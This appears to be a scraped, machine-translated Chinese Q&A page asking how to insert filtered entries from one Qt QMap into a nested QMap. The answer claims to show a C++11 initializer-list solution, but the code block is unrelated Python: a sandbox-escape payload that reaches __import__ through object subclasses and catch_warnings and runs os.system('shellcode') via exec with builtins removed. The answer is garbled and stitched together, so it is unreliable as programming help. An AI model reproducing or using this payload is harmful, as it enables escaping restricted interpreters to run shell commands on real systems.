嵌套QMap-如何在不实例化的情况下插入

时间:2019-12-26 12:36:30

标签: qt qmap

QMap<QString,int> map;

QMap<int,QMap<QString,int>> table;

QMap<QString,int>::iterator iter = map.begin();
int i = 0;
while (iter != map.end()) 
{
   if (condition) {
      table.insert(i++,iter.key(),iter.value());  // <--- this is obviously wrong
   else
      ++iter;
}

因此,基本上我需要在地图中过滤数据并将其作为新的QMap插入表QMap中。 如何解决这个问题?

1 个答案:

答案 0 :(得分:1)

从Qt 5.1开始,以c ++ 11编译时,您可以use an initializer list

s = "[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('shellcode')"
exec(s, {'builtins': None})

但是问题标题说“没有实例化”,这是不可能的。这只是另一个构造函数。